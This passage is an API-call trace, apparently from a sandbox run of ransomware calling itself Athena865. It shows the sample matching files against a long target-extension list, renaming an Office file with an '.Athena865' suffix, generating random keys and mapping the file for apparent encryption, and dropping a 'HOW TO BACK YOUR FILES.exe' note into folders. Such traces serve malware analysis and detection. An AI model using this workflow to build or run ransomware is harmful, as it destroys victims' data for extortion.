(lpString="avhd") returned 4 [0148.351] lstrcmpiW (lpString1=".VSL", lpString2="avhd") returned -1 [0148.351] lstrlenW (lpString="db") returned 2 [0148.351] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0148.351] lstrlenW (lpString="db2") returned 3 [0148.351] lstrcmpiW (lpString1="VSL", lpString2="db2") returned 1 [0148.351] lstrlenW (lpString="db3") returned 3 [0148.351] lstrcmpiW (lpString1="VSL", lpString2="db3") returned 1 [0148.351] lstrlenW (lpString="dbf") returned 3 [0148.351] lstrcmpiW (lpString1="VSL", lpString2="dbf") returned 1 [0148.351] lstrlenW (lpString="mdf") returned 3 [0148.351] lstrcmpiW (lpString1="VSL", lpString2="mdf") returned 1 [0148.351] lstrlenW (lpString="mdb") returned 3 [0148.351] lstrcmpiW (lpString1="VSL", lpString2="mdb") returned 1 [0148.351] lstrlenW (lpString="sql") returned 3 [0148.351] lstrcmpiW (lpString1="VSL", lpString2="sql") returned 1 [0148.351] lstrlenW (lpString="sqlite") returned 6 [0148.351] lstrcmpiW (lpString1="EB.VSL", lpString2="sqlite") returned -1 [0148.351] lstrlenW (lpString="sqlite3") returned 7 [0148.351] lstrcmpiW (lpString1="WEB.VSL", lpString2="sqlite3") returned 1 [0148.351] lstrlenW (lpString="sqlitedb") returned 8 [0148.351] lstrcmpiW (lpString1="SWEB.VSL", lpString2="sqlitedb") returned 1 [0148.351] lstrlenW (lpString="xml") returned 3 [0148.351] lstrcmpiW (lpString1="VSL", lpString2="xml") returned -1 [0148.351] lstrlenW (lpString="$er") returned 3 [0148.351] lstrcmpiW (lpString1="VSL", lpString2="$er") returned 1 [0148.351] lstrlenW (lpString="4dd") returned 3 [0148.351] lstrcmpiW (lpString1="VSL", lpString2="4dd") returned 1 [0148.351] lstrlenW (lpString="4dl") returned 3 [0148.351] lstrcmpiW (lpString1="VSL", lpString2="4dl") returned 1 [0148.351] lstrlenW (lpString="^^^") returned 3 [0148.351] lstrcmpiW (lpString1="VSL", lpString2="^^^") returned 1 [0148.352] lstrlenW (lpString="abs") returned 3 [0148.352] lstrcmpiW (lpString1="VSL", lpString2="abs") returned 1 [0148.352] lstrlenW (lpString="abx") returned 3 [0148.352] lstrcmpiW (lpString1="VSL", lpString2="abx") returned 1 [0148.352] lstrlenW (lpString="accdb") returned 5 [0148.352] lstrcmpiW (lpString1="B.VSL", lpString2="accdb") returned 1 [0148.352] lstrlenW (lpString="accdc") returned 5 [0148.352] lstrcmpiW (lpString1="B.VSL", lpString2="accdc") returned 1 [0148.352] lstrlenW (lpString="accde") returned 5 [0148.352] lstrcmpiW (lpString1="B.VSL", lpString2="accde") returned 1 [0148.352] lstrlenW (lpString="accdr") returned 5 [0148.352] lstrcmpiW (lpString1="B.VSL", lpString2="accdr") returned 1 [0148.352] lstrlenW (lpString="accdt") returned 5 [0148.352] lstrcmpiW (lpString1="B.VSL", lpString2="accdt") returned 1 [0148.352] lstrlenW (lpString="accdw") returned 5 [0148.352] lstrcmpiW (lpString1="B.VSL", lpString2="accdw") returned 1 [0148.352] lstrlenW (lpString="accft") returned 5 [0148.352] lstrcmpiW (lpString1="B.VSL", lpString2="accft") returned 1 [0148.352] lstrlenW (lpString="adb") returned 3 [0148.352] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0148.352] lstrlenW (lpString="adb") returned 3 [0148.352] lstrcmpiW (lpString1="VSL", lpString2="adb") returned 1 [0148.352] lstrlenW (lpString="ade") returned 3 [0148.352] lstrcmpiW (lpString1="VSL", lpString2="ade") returned 1 [0148.352] lstrlenW (lpString="adf") returned 3 [0148.352] lstrcmpiW (lpString1="VSL", lpString2="adf") returned 1 [0148.352] lstrlenW (lpString="adn") returned 3 [0148.352] lstrcmpiW (lpString1="VSL", lpString2="adn") returned 1 [0148.352] lstrlenW (lpString="adp") returned 3 [0148.352] lstrcmpiW (lpString1="VSL", lpString2="adp") returned 1 [0148.353] lstrlenW (lpString="alf") returned 3 [0148.353] lstrcmpiW (lpString1="VSL", lpString2="alf") returned 1 [0148.353] lstrlenW (lpString="ask") returned 3 [0148.353] lstrcmpiW (lpString1="VSL", lpString2="ask") returned 1 [0148.353] lstrlenW (lpString="btr") returned 3 [0148.353] lstrcmpiW (lpString1="VSL", lpString2="btr") returned 1 [0148.353] lstrlenW (lpString="cat") returned 3 [0148.353] lstrcmpiW (lpString1="VSL", lpString2="cat") returned 1 [0148.353] lstrlenW (lpString="cdb") returned 3 [0148.353] lstrcmpiW (lpString1="VSL", lpString2="cdb") returned 1 [0148.353] lstrlenW (lpString="ckp") returned 3 [0148.353] lstrcmpiW (lpString1="VSL", lpString2="ckp") returned 1 [0148.353] lstrlenW (lpString="cma") returned 3 [0148.353] lstrcmpiW (lpString1="VSL", lpString2="cma") returned 1 [0148.353] lstrlenW (lpString="cpd") returned 3 [0148.353] lstrcmpiW (lpString1="VSL", lpString2="cpd") returned 1 [0148.353] lstrlenW (lpString="dacpac") returned 6 [0148.353] lstrcmpiW (lpString1="EB.VSL", lpString2="dacpac") returned 1 [0148.353] lstrlenW (lpString="dad") returned 3 [0148.353] lstrcmpiW (lpString1="VSL", lpString2="dad") returned 1 [0148.353] lstrlenW (lpString="dadiagrams") returned 10 [0148.353] lstrlenW (lpString="daschema") returned 8 [0148.353] lstrcmpiW (lpString1="SWEB.VSL", lpString2="daschema") returned 1 [0148.353] lstrlenW (lpString="db-journal") returned 10 [0148.353] lstrlenW (lpString="db-shm") returned 6 [0148.353] lstrcmpiW (lpString1="EB.VSL", lpString2="db-shm") returned 1 [0148.353] lstrlenW (lpString="db-wal") returned 6 [0148.353] lstrcmpiW (lpString1="EB.VSL", lpString2="db-wal") returned 1 [0148.353] lstrlenW (lpString="dbc") returned 3 [0148.353] lstrcmpiW (lpString1="VSL", lpString2="dbc") returned 1 [0148.353] lstrlenW (lpString="dbs") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dbs") returned 1 [0148.354] lstrlenW (lpString="dbt") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dbt") returned 1 [0148.354] lstrlenW (lpString="dbv") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dbv") returned 1 [0148.354] lstrlenW (lpString="dbx") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dbx") returned 1 [0148.354] lstrlenW (lpString="dcb") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dcb") returned 1 [0148.354] lstrlenW (lpString="dct") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dct") returned 1 [0148.354] lstrlenW (lpString="dcx") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dcx") returned 1 [0148.354] lstrlenW (lpString="ddl") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="ddl") returned 1 [0148.354] lstrlenW (lpString="dlis") returned 4 [0148.354] lstrcmpiW (lpString1=".VSL", lpString2="dlis") returned -1 [0148.354] lstrlenW (lpString="dp1") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dp1") returned 1 [0148.354] lstrlenW (lpString="dqy") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dqy") returned 1 [0148.354] lstrlenW (lpString="dsk") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dsk") returned 1 [0148.354] lstrlenW (lpString="dsn") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dsn") returned 1 [0148.354] lstrlenW (lpString="dtsx") returned 4 [0148.354] lstrcmpiW (lpString1=".VSL", lpString2="dtsx") returned -1 [0148.354] lstrlenW (lpString="dxl") returned 3 [0148.354] lstrcmpiW (lpString1="VSL", lpString2="dxl") returned 1 [0148.355] lstrlenW (lpString="eco") returned 3 [0148.355] lstrcmpiW (lpString1="VSL", lpString2="eco") returned 1 [0148.355] lstrlenW (lpString="ecx") returned 3 [0148.355] lstrcmpiW (lpString1="VSL", lpString2="ecx") returned 1 [0148.355] lstrlenW (lpString="edb") returned 3 [0148.355] lstrcmpiW (lpString1="VSL", lpString2="edb") returned 1 [0148.355] lstrlenW (lpString="epim") returned 4 [0148.355] lstrcmpiW (lpString1=".VSL", lpString2="epim") returned -1 [0148.355] lstrlenW (lpString="fcd") returned 3 [0148.355] lstrcmpiW (lpString1="VSL", lpString2="fcd") returned 1 [0148.355] lstrlenW (lpString="fdb") returned 3 [0148.355] lstrcmpiW (lpString1="VSL", lpString2="fdb") returned 1 [0148.355] lstrlenW (lpString="fic") returned 3 [0148.355] lstrcmpiW (lpString1="VSL", lpString2="fic") returned 1 [0148.355] lstrlenW (lpString="flexolibrary") returned 12 [0148.355] lstrlenW (lpString="fm5") returned 3 [0148.355] lstrcmpiW (lpString1="VSL", lpString2="fm5") returned 1 [0148.355] lstrlenW (lpString="fmp") returned 3 [0148.355] lstrcmpiW (lpString1="VSL", lpString2="fmp") returned 1 [0148.355] lstrlenW (lpString="fmp12") returned 5 [0148.355] lstrcmpiW (lpString1="B.VSL", lpString2="fmp12") returned -1 [0148.355] lstrlenW (lpString="fmpsl") returned 5 [0148.355] lstrcmpiW (lpString1="B.VSL", lpString2="fmpsl") returned -1 [0148.355] lstrlenW (lpString="fol") returned 3 [0148.355] lstrcmpiW (lpString1="VSL", lpString2="fol") returned 1 [0148.355] lstrlenW (lpString="fp3") returned 3 [0148.355] lstrcmpiW (lpString1="VSL", lpString2="fp3") returned 1 [0148.355] lstrlenW (lpString="fp4") returned 3 [0148.355] lstrcmpiW (lpString1="VSL", lpString2="fp4") returned 1 [0148.355] lstrlenW (lpString="fp5") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="fp5") returned 1 [0148.356] lstrlenW (lpString="fp7") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="fp7") returned 1 [0148.356] lstrlenW (lpString="fpt") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="fpt") returned 1 [0148.356] lstrlenW (lpString="frm") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="frm") returned 1 [0148.356] lstrlenW (lpString="gdb") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0148.356] lstrlenW (lpString="gdb") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="gdb") returned 1 [0148.356] lstrlenW (lpString="grdb") returned 4 [0148.356] lstrcmpiW (lpString1=".VSL", lpString2="grdb") returned -1 [0148.356] lstrlenW (lpString="gwi") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="gwi") returned 1 [0148.356] lstrlenW (lpString="hdb") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="hdb") returned 1 [0148.356] lstrlenW (lpString="his") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="his") returned 1 [0148.356] lstrlenW (lpString="ib") returned 2 [0148.356] lstrcmpiW (lpString1="SL", lpString2="ib") returned 1 [0148.356] lstrlenW (lpString="idb") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="idb") returned 1 [0148.356] lstrlenW (lpString="ihx") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="ihx") returned 1 [0148.356] lstrlenW (lpString="itdb") returned 4 [0148.356] lstrcmpiW (lpString1=".VSL", lpString2="itdb") returned -1 [0148.356] lstrlenW (lpString="itw") returned 3 [0148.356] lstrcmpiW (lpString1="VSL", lpString2="itw") returned 1 [0148.357] lstrlenW (lpString="jet") returned 3 [0148.357] lstrcmpiW (lpString1="VSL", lpString2="jet") returned 1 [0148.357] lstrlenW (lpString="jtx") returned 3 [0148.357] lstrcmpiW (lpString1="VSL", lpString2="jtx") returned 1 [0148.357] lstrlenW (lpString="kdb") returned 3 [0148.357] lstrcmpiW (lpString1="VSL", lpString2="kdb") returned 1 [0148.357] lstrlenW (lpString="kexi") returned 4 [0148.357] lstrcmpiW (lpString1=".VSL", lpString2="kexi") returned -1 [0148.357] lstrlenW (lpString="kexic") returned 5 [0148.357] lstrcmpiW (lpString1="B.VSL", lpString2="kexic") returned -1 [0148.357] lstrlenW (lpString="kexis") returned 5 [0148.357] lstrcmpiW (lpString1="B.VSL", lpString2="kexis") returned -1 [0148.357] lstrlenW (lpString="lgc") returned 3 [0148.357] lstrcmpiW (lpString1="VSL", lpString2="lgc") returned 1 [0148.357] lstrlenW (lpString="lwx") returned 3 [0148.357] lstrcmpiW (lpString1="VSL", lpString2="lwx") returned 1 [0148.357] lstrlenW (lpString="maf") returned 3 [0148.357] lstrcmpiW (lpString1="VSL", lpString2="maf") returned 1 [0148.357] lstrlenW (lpString="maq") returned 3 [0148.357] lstrcmpiW (lpString1="VSL", lpString2="maq") returned 1 [0148.357] lstrlenW (lpString="mar") returned 3 [0148.357] lstrcmpiW (lpString1="VSL", lpString2="mar") returned 1 [0148.357] lstrlenW (lpString="marshal") returned 7 [0148.357] lstrcmpiW (lpString1="WEB.VSL", lpString2="marshal") returned 1 [0148.357] lstrlenW (lpString="mas") returned 3 [0148.357] lstrcmpiW (lpString1="VSL", lpString2="mas") returned 1 [0148.357] lstrlenW (lpString="mav") returned 3 [0148.357] lstrcmpiW (lpString1="VSL", lpString2="mav") returned 1 [0148.357] lstrlenW (lpString="maw") returned 3 [0148.357] lstrcmpiW (lpString1="VSL", lpString2="maw") returned 1 [0148.358] lstrlenW (lpString="mdbhtml") returned 7 [0148.358] lstrcmpiW (lpString1="WEB.VSL", lpString2="mdbhtml") returned 1 [0148.358] lstrlenW (lpString="mdn") returned 3 [0148.358] lstrcmpiW (lpString1="VSL", lpString2="mdn") returned 1 [0148.358] lstrlenW (lpString="mdt") returned 3 [0148.358] lstrcmpiW (lpString1="VSL", lpString2="mdt") returned 1 [0148.358] lstrlenW (lpString="mfd") returned 3 [0148.358] lstrcmpiW (lpString1="VSL", lpString2="mfd") returned 1 [0148.358] lstrlenW (lpString="mpd") returned 3 [0148.358] lstrcmpiW (lpString1="VSL", lpString2="mpd") returned 1 [0148.358] lstrlenW (lpString="mrg") returned 3 [0148.359] lstrcmpiW (lpString1="VSL", lpString2="mrg") returned 1 [0148.359] lstrlenW (lpString="mud") returned 3 [0148.359] lstrcmpiW (lpString1="VSL", lpString2="mud") returned 1 [0148.359] lstrlenW (lpString="mwb") returned 3 [0148.359] lstrcmpiW (lpString1="VSL", lpString2="mwb") returned 1 [0148.359] lstrlenW (lpString="myd") returned 3 [0148.359] lstrcmpiW (lpString1="VSL", lpString2="myd") returned 1 [0148.359] lstrlenW (lpString="ndf") returned 3 [0148.359] lstrcmpiW (lpString1="VSL", lpString2="ndf") returned 1 [0148.359] lstrlenW (lpString="nnt") returned 3 [0148.359] lstrcmpiW (lpString1="VSL", lpString2="nnt") returned 1 [0148.359] lstrlenW (lpString="nrmlib") returned 6 [0148.359] lstrcmpiW (lpString1="EB.VSL", lpString2="nrmlib") returned -1 [0148.359] lstrlenW (lpString="ns2") returned 3 [0148.359] lstrcmpiW (lpString1="VSL", lpString2="ns2") returned 1 [0148.359] lstrlenW (lpString="ns3") returned 3 [0148.359] lstrcmpiW (lpString1="VSL", lpString2="ns3") returned 1 [0148.359] lstrlenW (lpString="ns4") returned 3 [0148.359] lstrcmpiW (lpString1="VSL", lpString2="ns4") returned 1 [0148.359] lstrlenW (lpString="nsf") returned 3 [0148.359] lstrcmpiW (lpString1="VSL", lpString2="nsf") returned 1 [0148.359] lstrlenW (lpString="nv") returned 2 [0148.359] lstrcmpiW (lpString1="SL", lpString2="nv") returned 1 [0148.359] lstrlenW (lpString="nv2") returned 3 [0148.359] lstrcmpiW (lpString1="VSL", lpString2="nv2") returned 1 [0148.359] lstrlenW (lpString="nwdb") returned 4 [0148.359] lstrcmpiW (lpString1=".VSL", lpString2="nwdb") returned -1 [0148.360] lstrlenW (lpString="nyf") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="nyf") returned 1 [0148.360] lstrlenW (lpString="odb") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0148.360] lstrlenW (lpString="odb") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="odb") returned 1 [0148.360] lstrlenW (lpString="oqy") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="oqy") returned 1 [0148.360] lstrlenW (lpString="ora") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="ora") returned 1 [0148.360] lstrlenW (lpString="orx") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="orx") returned 1 [0148.360] lstrlenW (lpString="owc") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="owc") returned 1 [0148.360] lstrlenW (lpString="p96") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="p96") returned 1 [0148.360] lstrlenW (lpString="p97") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="p97") returned 1 [0148.360] lstrlenW (lpString="pan") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="pan") returned 1 [0148.360] lstrlenW (lpString="pdb") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="pdb") returned 1 [0148.360] lstrlenW (lpString="pdm") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="pdm") returned 1 [0148.360] lstrlenW (lpString="pnz") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="pnz") returned 1 [0148.360] lstrlenW (lpString="qry") returned 3 [0148.360] lstrcmpiW (lpString1="VSL", lpString2="qry") returned 1 [0148.361] lstrlenW (lpString="qvd") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="qvd") returned 1 [0148.361] lstrlenW (lpString="rbf") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="rbf") returned 1 [0148.361] lstrlenW (lpString="rctd") returned 4 [0148.361] lstrcmpiW (lpString1=".VSL", lpString2="rctd") returned -1 [0148.361] lstrlenW (lpString="rod") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="rod") returned 1 [0148.361] lstrlenW (lpString="rodx") returned 4 [0148.361] lstrcmpiW (lpString1=".VSL", lpString2="rodx") returned -1 [0148.361] lstrlenW (lpString="rpd") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="rpd") returned 1 [0148.361] lstrlenW (lpString="rsd") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="rsd") returned 1 [0148.361] lstrlenW (lpString="sas7bdat") returned 8 [0148.361] lstrcmpiW (lpString1="SWEB.VSL", lpString2="sas7bdat") returned 1 [0148.361] lstrlenW (lpString="sbf") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="sbf") returned 1 [0148.361] lstrlenW (lpString="scx") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="scx") returned 1 [0148.361] lstrlenW (lpString="sdb") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="sdb") returned 1 [0148.361] lstrlenW (lpString="sdc") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="sdc") returned 1 [0148.361] lstrlenW (lpString="sdf") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="sdf") returned 1 [0148.361] lstrlenW (lpString="sis") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="sis") returned 1 [0148.361] lstrlenW (lpString="spq") returned 3 [0148.361] lstrcmpiW (lpString1="VSL", lpString2="spq") returned 1 [0148.361] lstrlenW (lpString="te") returned 2 [0148.362] lstrcmpiW (lpString1="SL", lpString2="te") returned -1 [0148.362] lstrlenW (lpString="teacher") returned 7 [0148.362] lstrcmpiW (lpString1="WEB.VSL", lpString2="teacher") returned 1 [0148.362] lstrlenW (lpString="tmd") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="tmd") returned 1 [0148.362] lstrlenW (lpString="tps") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="tps") returned 1 [0148.362] lstrlenW (lpString="trc") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0148.362] lstrlenW (lpString="trc") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="trc") returned 1 [0148.362] lstrlenW (lpString="trm") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="trm") returned 1 [0148.362] lstrlenW (lpString="udb") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="udb") returned 1 [0148.362] lstrlenW (lpString="udl") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="udl") returned 1 [0148.362] lstrlenW (lpString="usr") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="usr") returned 1 [0148.362] lstrlenW (lpString="v12") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="v12") returned 1 [0148.362] lstrlenW (lpString="vis") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="vis") returned 1 [0148.362] lstrlenW (lpString="vpd") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="vpd") returned 1 [0148.362] lstrlenW (lpString="vvv") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="vvv") returned -1 [0148.362] lstrlenW (lpString="wdb") returned 3 [0148.362] lstrcmpiW (lpString1="VSL", lpString2="wdb") returned -1 [0148.363] lstrlenW (lpString="wmdb") returned 4 [0148.363] lstrcmpiW (lpString1=".VSL", lpString2="wmdb") returned -1 [0148.363] lstrlenW (lpString="wrk") returned 3 [0148.363] lstrcmpiW (lpString1="VSL", lpString2="wrk") returned -1 [0148.363] lstrlenW (lpString="xdb") returned 3 [0148.363] lstrcmpiW (lpString1="VSL", lpString2="xdb") returned -1 [0148.363] lstrlenW (lpString="xld") returned 3 [0148.363] lstrcmpiW (lpString1="VSL", lpString2="xld") returned -1 [0148.363] lstrlenW (lpString="xmlff") returned 5 [0148.363] lstrcmpiW (lpString1="B.VSL", lpString2="xmlff") returned -1 [0148.363] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.Athena865") returned 68 [0148.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.athena865"), dwFlags=0x1) returned 1 [0148.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0148.365] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=68488) returned 1 [0148.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0148.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.365] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.366] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.366] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.366] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10e90, lpName=0x0) returned 0x154 [0148.401] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10e90) returned 0x100000 [0148.442] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.443] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.443] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.444] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.445] CloseHandle (hObject=0x154) returned 1 [0148.445] CloseHandle (hObject=0x17c) returned 1 [0148.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.445] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vsdir", cAlternateFileName="")) returned 1 [0148.445] lstrcmpiW (lpString1="Vsdir", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.445] lstrcmpiW (lpString1="Vsdir", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.445] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Vsdir" | out: lpString1="Vsdir") returned="Vsdir" [0148.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552308 [0148.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x540eb0 [0148.446] lstrcatW (in: lpString1="Vsdir", lpString2="\\" | out: lpString1="Vsdir\\") returned="Vsdir\\" [0148.446] lstrcatW (in: lpString1="Vsdir\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Vsdir\\HOW TO BACK YOUR FILES.exe") returned="Vsdir\\HOW TO BACK YOUR FILES.exe" [0148.446] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\how to back your files.exe"), bFailIfExists=1) returned 1 [0148.451] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0xa3380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2=".") returned 1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2="..") returned 1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2="windows") returned -1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2="bootmgr") returned 1 [0148.451] lstrcmpiW (lpString1="VVIEWRES.DLL", lpString2="temp") returned 1 [0148.451] lstrcmpiW 